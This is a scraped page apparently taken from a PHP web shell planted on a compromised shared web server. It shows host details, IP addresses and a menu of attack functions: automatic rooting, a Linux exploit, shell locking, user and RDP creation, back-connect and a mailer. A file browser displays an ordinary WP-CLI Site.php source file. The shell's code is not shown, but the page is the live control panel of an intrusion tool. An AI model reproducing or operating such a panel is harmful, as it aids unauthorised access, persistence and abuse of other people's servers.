Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
wp /
php /
WP_CLI /
Fetchers /
[ HOME SHELL ]
Name
Size
Permission
Action
Base.php
1.15
KB
-rw-r--r--
Comment.php
636
B
-rw-r--r--
Post.php
568
B
-rw-r--r--
Signup.php
1.36
KB
-rw-r--r--
Site.php
986
B
-rw-r--r--
User.php
1.26
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Site.php
<?php namespace WP_CLI\Fetchers; /** * Fetch a WordPress site based on one of its attributes. */ class Site extends Base { /** * The message to display when an item is not found. * * @var string */ protected $msg = 'Could not find the site with ID %d.'; /** * Get a site object by ID * * @param int $site_id * @return object|false */ public function get( $site_id ) { return $this->get_site( $site_id ); } /** * Get site (blog) data for a given id. * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $arg The raw CLI argument. * @return array|false The item if found; false otherwise. */ private function get_site( $arg ) { global $wpdb; // Load site data $site = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->blogs} WHERE blog_id = %d", $arg ) ); if ( ! empty( $site ) ) { // Only care about domain and path which are set here return $site; } return false; } }
Close